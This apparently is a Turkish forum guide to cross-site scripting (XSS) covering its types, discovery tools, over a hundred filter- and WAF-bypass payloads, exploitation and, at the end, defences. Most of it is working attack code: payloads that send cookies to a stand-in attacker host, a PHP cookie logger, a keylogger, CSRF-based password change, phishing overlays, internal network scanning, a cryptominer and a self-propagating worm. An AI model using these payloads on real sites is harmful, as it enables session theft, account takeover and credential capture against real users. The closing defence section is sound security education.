🔥 XSS ULTIMATE REHBERİ – SIFIRDAN PROFESYONELE 100+ TEKNİK, 50+ PAYLOAD, 20+ ARAÇ Cross-Site Scripting (XSS), web uygulama güvenliğinin en yaygın ve en tehlikeli açıklarından...

🔥 XSS ULTIMATE REHBERİ – SIFIRDAN PROFESYONELE 100+ TEKNİK, 50+ PAYLOAD, 20+ ARAÇ​

Cross-Site Scripting (XSS), web uygulama güvenliğinin en yaygın ve en tehlikeli açıklarından biridir. Bu rehberde, XSS'in ne olduğundan başlayıp, tüm türlerini, manuel ve otomatik keşif yöntemlerini, WAF bypass için 100'den fazla payload tekniğini, istismar senaryolarını (cookie stealing, keylogging, session hijacking, phishing) ve korunma yöntemlerini en ince ayrıntısına kadar anlatıyorum. Her bölümde gerçek dünya simülasyon çıktıları ve çalışan kod örnekleri var.


📌 BÖLÜM 1: XSS NEDİR VE NASIL ÇALIŞIR?​

XSS, bir web uygulamasının kullanıcıdan aldığı veriyi yeterince temizlemeden (sanitize etmeden) HTML sayfasına geri yazması sonucu oluşan bir enjeksiyon açığıdır. Saldırgan, tarayıcıda çalışacak JavaScript kodunu siteye enjekte eder.

🔧 Basit bir örnek: Bir arama motoru, aradığınız kelimeyi "Aradığınız: [kelime]" şeklinde gösteriyor. Eğer şapka yazarsanız sorun yok. Ama şapka<script>alert(1)</script> yazarsanız ve site bunu filtrelemeden yazdırırsa, sayfa açıldığında JavaScript çalışır ve alert kutusu gelir.

📡 XSS ile neler yapılabilir?

  • 🍪 Kullanıcının oturum çerezini (session cookie) çalmak
  • ⌨️ Klavye girdilerini kaydetmek (keylogger)
  • 🎭 Kurbanın hesabı üzerinden işlem yapmak (şifre değiştirme, mesaj gönderme, para transferi)
  • 🔀 Kullanıcıyı başka bir siteye yönlendirmek (phishing)
  • 🖼️ Sayfa içeriğini değiştirmek (defacing)
  • 📡 Kurbanın tarayıcısını kullanarak iç ağdaki cihazları taramak
  • 🔑 CSRF token'larını çalıp istekleri oturum açmadan göndermek
⚠️ ÖNEMLİ: XSS, sadece <script> etiketiyle sınırlı değildir. HTML'in herhangi bir yerinde (etiket içinde, attribute içinde, JavaScript kodu içinde) enjeksiyon yapılabilir.


📁 BÖLÜM 2: XSS TÜRLERİ (DETAYLI)​

XSS üç ana türe ayrılır. Her birinin keşif ve istismar yöntemleri farklıdır.

🪞 2.1. Reflected XSS (Yansıyan XSS)​

📖 Tanım: Kötü amaçlı kod, HTTP isteği içinde (genellikle URL parametresi) gönderilir. Sunucu bu kodu alır ve yanıt sayfasına aynen yansıtır. Saldırgan, kurbana özel hazırlanmış bir link gönderir. Kurban linke tıkladığında, istek sunucuya gider, sunucu zararlı kodu yansıtır ve kurbanın tarayıcısında çalışır.

🎯 Keşif yöntemi: Tüm URL parametrelerine (?q=, ?id=, ?search=, ?page=) test payload'ları ekleyip çıktıyı incele.

💻 Örnek senaryo: https://hedef.com/arama?q=deneme
Sunucu çıktısı: <p>deneme için sonuç bulunamadı</p>
Payload: https://hedef.com/arama?q=<script>alert(1)</script>
Çıktı: <p><script>alert(1)</script> için sonuç bulunamadı</p> → JavaScript çalışır.

📊 Simülasyon çıktısı (Burp Suite veya curl ile):

http
GET /arama?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1
Host: hedef.com

HTTP/1.1 200 OK
Content-Type: text/html

<html>
<body>
<p><script>alert(1)</script> için sonuç bulunamadı</p>
</body>
</html>

💾 2.2. Stored XSS (Saklanan XSS)​

📖 Tanım: Kötü amaçlı kod, web sitesinin veritabanına veya kalıcı bir depolama alanına kaydedilir. Sayfayı ziyaret eden her kullanıcı bu kodu görür ve çalıştırır. En tehlikeli XSS türüdür.

🎯 Keşif yöntemi: Kullanıcı girdisinin kalıcı olarak saklandığı tüm alanları test et: yorumlar, profil bilgileri, mesajlar, başlıklar, blog gönderileri, forum konuları.

💻 Örnek senaryo: Bir forumda yorum kısmı. Payload: Çok güzel yazı olmuş <script>alert(1)</script> Yorum kaydedilir. Sonra herkes o konuyu açtığında alert çalışır.

📊 Simülasyon çıktısı (veritabanı kaydı):

sql
INSERT INTO yorumlar (mesaj) VALUES ('Çok güzel yazı olmuş <script>alert(1)</script>');
Ardından sayfa yüklendiğinde:

html
<div class="yorum">
Çok güzel yazı olmuş <script>alert(1)</script>
</div>

🌿 2.3. DOM Based XSS​

📖 Tanım: Sunucu tarafında herhangi bir yansıma yoktur. Güvenlik açığı, tamamen istemci tarafındaki JavaScript kodunun DOM'u (Document Object Model) yanlış şekilde değiştirmesinden kaynaklanır. URL'den alınan veri, document.write, innerHTML, eval, setTimeout gibi fonksiyonlara doğrudan aktarılırsa XSS oluşur.

🎯 Keşif yöntemi: Tarayıcının geliştirici araçlarıyla JavaScript kodlarını incele. Özellikle location.hash, document.URL, window.name gibi kaynaklardan veri alıp DOM'a yazan fonksiyonları ara.

💻 Örnek senaryo: Sayfada şu kod var:

html
<script>
var isim = location.hash.substring(1);
document.write("Merhaba " + isim);
</script>
URL: https://hedef.com#<script>alert(1)</script> → document.write ile script yazılır ve çalışır. Sunucuya hiçbir istek gitmez, tamamen tarayıcıda olur.

🕶️ 2.4. Blind XSS​

📖 Tanım: Payload, saldırganın doğrudan göremediği bir alana (örneğin admin paneli, raporlama sayfası, e-posta önizleme) kaydedilir. Kod çalıştığında, saldırganın sunucusuna bir istek gider ve saldırgan bundan haberdar olur. Genellikle yöneticileri hedef alır.

🎯 Keşif yöntemi: "><script src=http://saldirgan.com/xss.js></script> gibi bir payload gönder. Eğer bir yönetici sayfayı açarsa, saldirgan.com adresine istek düşer. Bunu tespit etmek için XSS Hunter veya kendi sunucunu kullan.

💻 Örnek payload (XSS Hunter ile):

html
"><script src=https://xsshunter.com/abc123></script>
XSS Hunter sana çalıştığında e-posta veya web paneli ile bildirir.


🎯 BÖLÜM 3: XSS KEŞİF YÖNTEMLERİ (MANUEL)​

Manuel test, otomatik araçların kaçırdığı birçok açığı bulur. İşte adım adım manuel test süreci.

3.1. Tüm Girdi Noktalarını Belirle​

  • 📝 Form alanları (search, login, register, comment, contact)
  • 🔗 URL parametreleri (?id=1, ?page=2, ?q=test, ?lang=en)
  • 🍪 Çerez değerleri (Cookie'ler)
  • 📨 HTTP başlıkları (Referer, User-Agent, X-Forwarded-For)
  • 🏷️ JSON/XML gövdeleri (API istekleri)
  • 📁 Dosya yükleme (dosya adı, dosya içeriği)

3.2. İlk Test Payload'ları (Basit)​

html
<script>alert(1)</script>
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<iframe onload=alert(1)>

3.3. Çıktıyı İnceleme​

  • Sayfada <script> etiketi aynen yazılıyor mu?
  • Event handler (onerror, onload) attribute içinde çalışıyor mu?
  • JavaScript kodu içine enjeksiyon yapabiliyor muyuz? (Örn: var x = "kullanıcı_girdisi"; -> var x = "";alert(1);//")
  • HTML etiketleri varlığını koruyor ama bazıları filtreleniyor mu? (Örn: <script kaldırılıyor ama <ScRiPt çalışıyor mu?)

3.4. Gelişmiş Test Payload'ları (Çıktıya Göre)​

Eğer <> filtreleniyorsa: Event handler'ları dene: " onmouseover=alert(1) "

Eğer alert filtreleniyorsa: prompt(1), confirm(1), console.log(1) dene.

Eğer () filtreleniyorsa: Backtick kullan: `alert1

Eğer boşluk filtreleniyorsa: /, %0a, %0d, %09 dene: <img/src=x/onerror=alert(1)>


🤖 BÖLÜM 4: XSS KEŞİF ARAÇLARI (OTOMATİK)​

Otomatik araçlar, çok sayıda parametreyi tarayarak zaman kazandırır.

4.1. XSStrike (En Kapsamlı)​

Özellikleri: DOM parsing, WAF bypass, parametre brute-force, çoklu payload encoding.

Kurulum:

bash
git clone https://github.com/s0md3v/XSStrike
cd XSStrike
pip install -r requirements.txt
Kullanım örnekleri:

bash
# Tek URL
python xsstrike.py -u "https://hedef.com/search?q=test"

# Parametreleri brute-force et
python xsstrike.py -u "https://hedef.com/page?id=1" --params

# Tarama yaparken DOM da analiz et
python xsstrike.py -u "https://hedef.com/search?q=test" --crawl

# WAF bypass dene
python xsstrike.py -u "https://hedef.com/search?q=test" --waf
Simüle edilmiş çıktı:

text
[+] XSStrike v3.1.5
[!] WAF detected: Cloudflare
[+] Testing parameter: q
[+] Payload: <ScRiPt>alert(1)</sCrIpT> → 404
[+] Payload: <img src=x onerror=alert(1)> → 200 (reflected)
[!] Potential XSS found in parameter: q
[+] Payload: <img src=x onerror=alert(document.cookie)>

4.2. Dalfox (Hızlı ve Etkili)​

Kurulum:

bash
go install github.com/hahwul/dalfox/v2@latest
Kullanım:

bash
# Tek URL
dalfox url "https://hedef.com/search?q=test"

# Dosyadan URL listesi
dalfox file urls.txt

# Çıktıyı dosyaya yaz
dalfox url "https://hedef.com/search?q=test" -o results.txt

# Blind XSS için
dalfox url "https://hedef.com/search?q=test" --blind

4.3. XSSer​

Kurulum:

bash
sudo apt install xsser
Kullanım:

bash
xsser -u "https://hedef.com/search?q=test" --auto
xsser -u "https://hedef.com/search?q=test" --Fp --Cl --Dc --Cw

4.4. Burp Suite (Profesyonel)​

  • 🧹 Scanner modunda XSS testi yapar.
  • 🛠️ Repeater ile manuel payload gönderme.
  • 🔄 Intruder ile payload listesi gönderme.

4.5. OWASP ZAP (Ücretsiz, GUI'li)​

  • 🔍 Active Scan ile otomatik XSS taraması.
  • 📝 Fuzzer ile özel payload listeleri.
  • 🧪 HUD ile tarayıcı içi test.

4.6. XSS Hunter (Blind XSS için)​

Web sitesi: xsshunter.com (ücretsiz, kayıt gerekir)

Kullanım: Bir payload oluştur (örn: "><script src=https://xsshunter.com/abc></script>), bunu hedefe yerleştir. Eğer bir yönetici sayfayı açarsa, XSS Hunter sana e-posta gönderir ve çerez, URL, ekran görüntüsü gibi detayları toplar.


🧪 BÖLÜM 5: 100+ XSS PAYLOAD ARŞİVİ (BY PASS TEKNİKLERİYLE)​

İşte en kapsamlı XSS payload listesi. Her kategori farklı bir filtrasyon tekniğini aşmak içindir.

5.1. Temel Script Payload'ları (Hiç filtre yoksa)​

html
<script>alert(1)</script>
<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
<script>alert(window.location.href)</script>
<script>console.log(1)</script>
<script>prompt(1)</script>
<script>confirm(1)</script>
<script>write(1)</script>

5.2. Event Handler Payload'ları (<script> filtrelenmişse)​

html
<img src=x onerror=alert(1)>
<img src=x onerror="alert(1)">
<img src=x onerror='alert(1)'>
<svg onload=alert(1)>
<body onload=alert(1)>
<body onpageshow=alert(1)>
<input onfocus=alert(1) autofocus>
<iframe onload=alert(1)>
<embed onload=alert(1)>
<link onload=alert(1)>
<video onloadstart=alert(1)>
<audio onloadstart=alert(1)>
<marquee onstart=alert(1)>
<details ontoggle=alert(1)>
<meter onmouseover=alert(1)>
<progress onmouseover=alert(1)>
<object onerror=alert(1)>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<keygen onfocus=alert(1) autofocus>
<frameset onload=alert(1)>
<frame onload=alert(1)>

5.3. Büyük/Küçük Harf Değiştirme (Case Variation)​

html
<ScRiPt>alert(1)</sCrIpT>
<ImG sRc=x OnErRoR=alert(1)>
<SvG oNlOaD=alert(1)>
<bOdY oNlOaD=alert(1)>
<IfRaMe oNlOaD=alert(1)>

5.4. Tek Katman URL Encoding​

html
%3Cscript%3Ealert(1)%3C/script%3E
%3Cimg%20src=x%20onerror=alert(1)%3E
%3Csvg%20onload=alert(1)%3E
%3Cbody%20onload=alert(1)%3E

5.5. Çift Katman URL Encoding​

html
%253Cscript%253Ealert(1)%253C/script%253E
%253Cimg%2520src=x%2520onerror=alert(1)%253E
%253Csvg%2520onload=alert(1)%253E

5.6. Üç Katman URL Encoding​

html
%25253Cscript%25253Ealert(1)%25253C/script%25253E

5.7. HTML Entity Encoding (Decimal)​

html
&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;
&#60;&#105;&#109;&#103;&#32;&#115;&#114;&#99;&#61;&#120;&#32;&#111;&#110;&#101;&#114;&#114;&#111;&#114;&#61;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#62;

5.8. HTML Entity Encoding (Hexadecimal)​

html
&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;
&#x3C;&#x69;&#x6D;&#x67;&#x20;&#x73;&#x72;&#x63;&#x3D;&#x78;&#x20;&#x6F;&#x6E;&#x65;&#x72;&#x72;&#x6F;&#x72;&#x3D;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3E;

5.9. Karışık Encoding (Decimal + Hex + URL)​

html
%3C&#x73;cript&#62;alert(1)&#60;/script&#62;
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;

5.10. Unicode Encoding (JavaScript içinde)​

html
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<script>\u0061\u006c\u0065\u0072\u0074(\u0031)</script>
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074(1)>

5.11. Hexadecimal JS Encoding​

html
<script>\x61\x6c\x65\x72\x74(1)</script>
<script>\x61\x6c\x65\x72\x74(\x31)</script>
<img src=x onerror=\x61\x6c\x65\x72\x74(1)>

5.12. Octal JS Encoding​

html
<script>\141\154\145\162\164(1)</script>
<img src=x onerror=\141\154\145\162\164(1)>

5.13. Boşluk Bypass (Space yerine)​

html
<img/src=x/onerror=alert(1)>
<img%0Asrc=x%0Aonerror=alert(1)>
<img%09src=x%09onerror=alert(1)>
<img%0dsrc=x%0donerror=alert(1)>
<img%0asrc=x%0a%0aonerror=alert(1)>
<svg%0Aonload=alert(1)>
<body%0Aonload=alert(1)>

5.14. Tırnak İşareti Bypass​

html
<img src=x onerror=alert`1`>
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<svg onload=alert`1`>
<body onload=alert`1`>

5.15. Yorum Satırı Bypass​

html
<!--<script>-->alert(1)<!--</script>-->
<img <!-- --> src=x onerror=alert(1)>
<style>}@keyframes x{}</style><svg onload=alert(1)>

5.16. Sözde Protokol (javascript:)

html
<a href="javascript:alert(1)">Tıkla</a>
<a href="javascript:alert(1)"><button>Gönder</button></a>
<iframe src="javascript:alert(1)">
<form action="javascript:alert(1)"><input type=submit>

5.17. iframe ve embed kaynaklı​

html
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<embed src="javascript:alert(1)">
<object data="javascript:alert(1)">

5.18. CSS ile XSS (style etiketi)​

html
<style>body{background:url("javascript:alert(1)")}</style>
<style>@import 'javascript:alert(1)';</style>
<style>@import url('javascript:alert(1)');</style>

5.19. SVG ile XSS​

html
<svg onload=alert(1)>
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x></svg>
<svg><set onbegin=alert(1) attributeName=x></svg>

5.20. Matematik Operatörleri ile Bypass​

html
<script>alert(1+1)</script>
<script>alert(2*1)</script>
<script>alert(10-9)</script>

5.21. String Birleştirme (Keyword filter bypass)​

html
<script>al('er' + 't')(1)</script>
<script>window['alert'](1)</script>
<script>self['alert'](1)</script>
<script>top['alert'](1)</script>
<script>parent['alert'](1)</script>
<script>frames['alert'](1)</script>
<script>this['alert'](1)</script>
<script>['alert'].map(e=>eval(e+'(1)'))()</script>
<script>Function('alert(1)')()</script>

5.22. eval ile Bypass​

html
<script>eval('alert(1)')</script>
<script>eval('al' + 'ert(1)')</script>
<script>eval(atob('YWxlcnQoMSk='))</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

5.23. Base64 Encoded Payload​

html
<script>eval(atob('YWxlcnQoMSk='))</script>
<script>document.write(atob('PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='))</script>

5.24. JavaScript Değişken Atama ile​

html
<script>var a='al';var b='ert';window[a+b](1)</script>
<script>var a='ale';var b='rt';this[a+b](1)</script>

5.25. onerror içinde fonksiyon tanımlama​

html
<img src=x onerror="function f(){alert(1)};f()">
<img src=x onerror="setTimeout('alert(1)',1000)">

5.26. DOM içi enjeksiyon (document.write, innerHTML)​

html
<script>document.write('<img src=x onerror=alert(1)>')</script>
<script>document.body.innerHTML='<img src=x onerror=alert(1)>'</script>

5.27. location ve navigator kullanımı​

html
<script>location='javascript:alert(1)'</script>
<script>navigator.sendBeacon('https://saldirgan.com/steal?c='+document.cookie)</script>

5.28. WebSocket ile veri sızdırma​

html
<script>
var ws = new WebSocket('ws://saldirgan.com:8080');
ws.onopen = function() { ws.send(document.cookie); };
</script>

5.29. XMLHttpRequest ile veri sızdırma​

html
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://saldirgan.com/steal?c='+document.cookie, true);
xhr.send();
</script>

5.30. Fetch API ile​

html
<script>fetch('https://saldirgan.com/steal?c='+document.cookie)</script>
<script>fetch('https://saldirgan.com/steal',{method:'POST',body:document.cookie})</script>

5.31. Image objesi ile (en kısa)​

html
<script>new Image().src='https://saldirgan.com/steal?c='+document.cookie</script>

5.32. <script> src ile dışarıdan kod çağırma​

html
<script src="https://saldirgan.com/xss.js"></script>
<script src="//saldirgan.com/xss.js"></script>

5.33. <link> rel=import ile​

html
<link rel="import" href="https://saldirgan.com/xss.html">

5.34. <math> etiketi ile​

html
<math><maction xlink:href="javascript:alert(1)">Tıkla</maction></math>

5.35. <isindex> ile (eski)​

html
<isindex type=image src=1 onerror=alert(1)>

5.36. <listing> ile​

html
<listing><script>alert(1)</script> </listing>

5.37. <meta> ile redirect + XSS​

html
<meta http-equiv="refresh" content="0;javascript:alert(1)">

5.38. <base> etiketi ile (tüm relative linkleri yönlendir)​

html
<base href="javascript:alert(1)//">

5.39. <template> ile​

html
<template><script>alert(1)</script></template>

5.40. <noscript> içine (noscript engelli değilse)​

html
<noscript><script>alert(1)</script></noscript>

5.41. JavaScript içinde string escape bypass​

Eğer JavaScript kodu içine enjeksiyon yapıyorsan:

html
";alert(1);//
';alert(1);//
\";alert(1);//
</script><script>alert(1)</script>

5.42. HTML attribute içine enjeksiyon (tırnaksız)​

html
<input value=deneme> -> deneme" onmouseover=alert(1)
<input value=deneme onmouseover=alert(1)>

5.43. HTML attribute içine enjeksiyon (tırnaklı)​

html
<input value="deneme"> -> deneme" onmouseover="alert(1)
<input value="deneme" onmouseover="alert(1)">

5.44. JavaScript URL içine enjeksiyon​

html
<a href="javascript:alert(1)">Tıkla</a>
<form action="javascript:alert(1)"><input type=submit>

5.45. Null byte bypass (bazı eski WAF'lar için)​

html
<scri%00pt>alert(1)</scri%00pt>
<scri%00pt>alert(1)</scri%00pt>

🔓 BÖLÜM 6: WAF BYPASS TEKNİKLERİ (DETAYLI)​

Modern WAF'lar (Cloudflare, ModSecurity, AWS WAF) birçok XSS payload'ını engeller. İşte bunları aşma yöntemleri.

6.1. Büyük/Küçük Harf Karıştırma (Case Mutation)​

html
<ScRiPt>alert(1)</ScRiPt>
<ImG sRc=x OnErRoR=alert(1)>
<SvG oNlOaD=alert(1)>

6.2. Encoding Katmanları​

WAF'lar genellikle tek katman URL decode yapar. Çift katmanlı encoding kullan:

html
%253Cscript%253Ealert(1)%253C/script%253E

6.3. Yorum Satırı ile Bölme​

html
<sc<!-- -->ript>alert(1)</sc<!-- -->ript>
<scr<!-- -->ipt>alert(1)</scr<!-- -->ipt>

6.4. Line Break Kullanımı​

html
<sc%0Aript>alert(1)</sc%0Aript>
<sc%0Dript>alert(1)</sc%0Dript>

6.5. Tab Kullanımı​

html
<sc%09ript>alert(1)</sc%09ript>

6.6. Sessiz Karakterler (Zero-width space, vb.)​

html
<sc&#8203;ript>alert(1)</sc&#8203;ript>

6.7. HTML Entity Encoding (WAF decode etmezse)​

html
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;

6.8. JavaScript içinde Hex Encoding​

html
<script>\x61\x6c\x65\x72\x74(1)</script>

6.9. JavaScript içinde Unicode Encoding​

html
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>

6.10. alert kelimesini parçalama​

html
<script>window['al'+'ert'](1)</script>
<script>eval('al'+'ert(1)')</script>

6.11. () yerine backtick​

html
<script>alert`1`</script>
<img src=x onerror=alert`1`>

6.12. Boşluk yerine /, %0a, %0d, %09​

html
<img/src=x/onerror=alert(1)>
<img%0Asrc=x%0Aonerror=alert(1)>

6.13. Farklı event handler'lar (WAF sadece onerror, onload'u engelliyorsa)​

html
<svg onbegin=alert(1)>
<svg onend=alert(1)>
<svg onrepeat=alert(1)>

6.14. <script> yerine <iframe srcdoc>​

html
<iframe srcdoc="<script>alert(1)</script>"></iframe>

6.15. <object> ve <embed> kullanımı​

html
<object data="javascript:alert(1)">
<embed src="javascript:alert(1)">

6.16. CSS ile XSS​

html
<style>@import 'javascript:alert(1)';</style>

6.17. Meta tag ile refresh​

html
<meta http-equiv="refresh" content="0;javascript:alert(1)">

6.18. <link> ile​

html
<link rel="stylesheet" href="javascript:alert(1)">

6.19. <math> etiketi​

html
<math><maction xlink:href="javascript:alert(1)">Tıkla</maction></math>

6.20. <isindex> (eski)​

html
<isindex type=image src=1 onerror=alert(1)>

6.21. <form> ile​

html
<form action="javascript:alert(1)"><input type=submit>

6.22. <button> ile​

html
<button formaction="javascript:alert(1)">Tıkla</button>

6.23. <input type=image> ile​

html
<input type=image src=x onerror=alert(1)>

6.24. <video> ve <audio> ile​

html
<video><source onerror=alert(1)>
<audio><source onerror=alert(1)>

6.25. <track> ile​

html
<video><track onerror=alert(1) src=x>

6.26. <script> src ile dış kaynak (WAF beyaz liste kontrolü yapıyorsa, kendi domaininizden bir dosya yükleyip onu çağırabilirsiniz)​

html
<script src="//hedef.com/uploads/xss.js"></script>

6.27. <link> import ile​

html
<link rel="import" href="https://saldirgan.com/xss.html">

6.28. <a> ile javascript: protokolü​

html
<a href="javascript:alert(1)">Tıkla</a>

6.29. <area> ile​

html
<area href="javascript:alert(1)" shape=rect coords=0,0,100,100>

6.30. <div> style ile​

html
<div style="background:url('javascript:alert(1)')">

6.31. <body> background ile​

html
<body background="javascript:alert(1)">

6.32. <table> background ile​

html
<table background="javascript:alert(1)">

6.33. <td> background ile​

html
<td background="javascript:alert(1)">

6.34. <tr> background ile​

html
<tr background="javascript:alert(1)">

6.35. <style> içinde expression (IE only)​

html
<style>body{expression(alert(1))}</style>

6.36. <style> içinde binding (IE only)​

html
<style>body{behavior:url(#default#userData);}</style>

6.37. <xml> ile​

html
<xml><script>alert(1)</script></xml>

6.38. <xmp> ile (eski)​

html
<xmp><script>alert(1)</script>

6.39. <plaintext> ile​

html
<plaintext><script>alert(1)</script>

6.40. <listing> ile​

html
<listing><script>alert(1)</script>

6.41. <script> için charset bypass​

html
<script charset="UTF-16BE">alert(1)</script>

6.42. <script> type attribute ile​

html
<script type="text/javascript">alert(1)</script>
<script type="text/html">alert(1)</script> <!-- çalışmaz, ama bazen WAF yanılır -->

6.43. <script> language attribute ile (eski)​

html
<script language="javascript">alert(1)</script>

6.44. <script> için defer/async​

html
<script defer>alert(1)</script>
<script async>alert(1)</script>

6.45. <script> src data: URI ile​

html
<script src="data:text/javascript,alert(1)"></script>

6.46. <iframe> src data: URI ile​

html
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>

6.47. <object> data data: URI ile​

html
<object data="data:text/html,<script>alert(1)</script>">

6.48. <embed> src data: URI ile​

html
<embed src="data:text/html,<script>alert(1)</script>">

6.49. <link> href data: URI ile​

html
<link rel="stylesheet" href="data:text/css,body{background:red}">

6.50. <meta> charset ile (UTF-7)​

html
<meta charset="UTF-7">+ADw-script+AD4-alert(1)+ADw-/script+AD4-

6.51. WAF bypass için HTTP parametre pollution (HPP)​

html
?xss=<script>alert(1)</script>&xss=ignored
?xss=<scri&xss=pt>alert(1)</script>

6.52. WAF bypass için HTTP parametre fragmentation​

html
?xss=<script>ale&xss=rt(1)</script>

🧪 BÖLÜM 7: XSS İSTİSMARI (GERÇEK DÜNYA)​

7.1. Cookie Stealing (Oturum Çerezini Çalma)​

Payload:

html
<script>document.location='https://saldirgan.com/steal.php?cookie='+document.cookie</script>
Sunucu tarafı (steal.php):

php
<?php
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$date = date('Y-m-d H:i:s');
$log = "[$date] IP: $ip | UA: $user_agent | Cookie: $cookie\n";
file_put_contents('cookies.txt', $log, FILE_APPEND);
?>
Simüle edilmiş çıktı (cookies.txt):

text
[2026-04-21 14:23:10] IP: 192.168.1.100 | UA: Mozilla/5.0 (Windows NT 10.0; Win64; x64) | Cookie: sessionid=abc123def456; user=admin

7.2. Keylogger (Tuş Kaydı)​

Payload:

html
<script>
document.onkeypress = function(e) {
fetch('https://saldirgan.com/keylog.php?key=' + e.key + '&code=' + e.keyCode)
}
</script>
Sunucu tarafı (keylog.php):

php
<?php
$key = $_GET['key'];
$code = $_GET['code'];
$ip = $_SERVER['REMOTE_ADDR'];
file_put_contents('keys.txt', "[$ip] $key ($code)", FILE_APPEND);
?>

7.3. Session Hijacking (Çerez ile Oturum Ele Geçirme)​

Cookie'yi aldıktan sonra, kendi tarayıcına o cookie'yi eklemelisin.

Firefox için:

  • Add-on: Cookie Manager, EditThisCookie
Chrome için:

  • EditThisCookie eklentisi
Manuel olarak (geliştirici araçları):

  1. F12 → Application → Storage → Cookies
  2. document.cookie = "sessionid=abc123def456" yaz console'a

7.4. CSRF Token Çalma ve İstek Gönderme​

html
<script>
// Önce token'ı al
fetch('/user/settings')
.then(r => r.text())
.then(html => {
let token = html.match(/csrf_token: '([^']+)'/)[1];
// Sonra token ile şifre değiştirme isteği gönder
fetch('/user/change_password', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'csrf_token='+token+'&new_password=hacked123'
})
});
</script>

7.5. Sayfa Defacing (İçerik Değiştirme)​

html
<script>
document.body.innerHTML = '<h1 style="color:red">HACKED BY ...</h1>';
document.title = 'Hacked';
</script>

7.6. Phishing Sayfası Açma​

html
<script>
var iframe = document.createElement('iframe');
iframe.src = 'https://saldirgan.com/phishing.html';
iframe.style.position = 'fixed';
iframe.style.top = '0';
iframe.style.left = '0';
iframe.style.width = '100%';
iframe.style.height = '100%';
document.body.appendChild(iframe);
</script>

7.7. İç Ağ Taraması​

html
<script>
// İç ağdaki cihazları taramak için
var ips = ['192.168.1.1', '192.168.1.2', '192.168.1.100'];
ips.forEach(ip => {
fetch('http://' + ip + ':80')
.then(() => fetch('https://saldirgan.com/scan?ip=' + ip + '&open=80'))
.catch(() => {});
});
</script>

7.8. Cryptocurrency Madenciliği (Coinhive benzeri)​

html
<script src="https://saldirgan.com/miner.js"></script>
<script>
// Kurbanın CPU'sunu kullanarak coin madenciliği
var miner = new CoinHive.Anonymous('SITE_KEY');
miner.start();
</script>

7.9. Yetkili İşlem Yapma (Örn: beğeni, takip et)​

html
<script>
fetch('https://hedef.com/like?id=123', {method: 'POST'})
fetch('https://hedef.com/follow?user=attacker', {method: 'POST'})
</script>

7.10. Otomatik Yayılma (Worm)​

html
<script>
// Kendini yorum olarak ekle (stored XSS için)
var payload = '<script src="https://saldirgan.com/xss.js"><\/script>';
fetch('/comment', {
method: 'POST',
body: 'comment=' + encodeURIComponent(payload)
});
</script>

🛡️ BÖLÜM 8: XSS KORUNMA YÖNTEMLERİ (GELİŞTİRİCİLER İÇİN)​

Eğer bir web uygulaması geliştiriyorsan, XSS'e karşı şunları uygulaman gerekir.

8.1. Çıktıyı Escape Etme (En Önemli)​

Kullanıcı girdisini HTML içinde görüntülemeden önce mutlaka escape et.

PHP:

php
echo htmlspecialchars($kullanici_girdisi, ENT_QUOTES, 'UTF-8');
Python (Flask):

python
from flask import escape
return escape(kullanici_girdisi)
Python (Django):

html
{{ kullanici_girdisi|escape }}
JavaScript (React):

jsx
<div>{kullanici_girdisi}</div> // React otomatik escape eder
JavaScript (Vanilla):

javascript
element.textContent = kullanici_girdisi; // innerHTML yerine textContent

8.2. Content Security Policy (CSP)​

CSP, tarayıcıya hangi kaynaklardan script çalıştırabileceğini söyler.

Örnek header:

text
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'
Raporlama için:

text
Content-Security-Policy: default-src 'self'; report-uri /csp-report

8.3. HttpOnly ve Secure Flag (Çerezler)​

php
setcookie("sessionid", "abc123", [
'httponly' => true, // JavaScript erişemesin
'secure' => true, // sadece HTTPS
'samesite' => 'Strict' // CSRF koruması
]);

8.4. Girdi Doğrulama (Whitelist)​

Beklemediğin karakterleri reddet. Örneğin sadece harf ve rakam istiyorsan:

php
if (!preg_match('/^[a-zA-Z0-9]+$/', $input)) {
die('Geçersiz giriş');
}

8.5. DOMPurify Kullanımı​

Eğer innerHTML kullanmak zorundaysan, DOMPurify ile temizle:

javascript
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(kullanici_girdisi);

8.6. Sanitization Kütüphaneleri​

  • Java: OWASP Java HTML Sanitizer
  • Python: Bleach, html-sanitizer
  • Node.js: sanitize-html, xss-filters
  • PHP: HTML Purifier
  • .NET: AntiXSS Library

8.7. XSS Koruma Karşılaştırması​



YöntemEtkinlikUygulama ZorluğuPerformans Etkisi
Çıktı escape⭐⭐⭐⭐⭐DüşükDüşük
CSP⭐⭐⭐⭐OrtaDüşük
HttpOnly⭐⭐⭐⭐DüşükYok
Girdi validasyonu⭐⭐⭐OrtaDüşük
DOMPurify⭐⭐⭐⭐DüşükOrta
